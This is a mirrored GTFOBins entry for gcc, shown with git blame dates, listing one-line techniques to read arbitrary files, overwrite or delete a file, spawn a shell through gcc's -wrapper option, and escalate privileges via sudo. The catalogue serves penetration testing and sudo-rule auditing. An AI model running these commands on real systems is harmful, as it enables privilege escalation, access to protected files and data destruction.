1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/gcc.md

16 lines
326 B
Markdown
Raw Normal View History

2020-03-14 06:48:45 +01:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
gcc -x c -E "$LFILE"
2021-04-06 09:42:52 +02:00
file-write: # XXX this should be file-delete
- code: |
LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE
2020-03-14 06:48:45 +01:00
shell:
2020-03-14 12:17:30 +01:00
- code: gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
sudo:
2020-03-14 12:17:30 +01:00
- code: sudo gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
---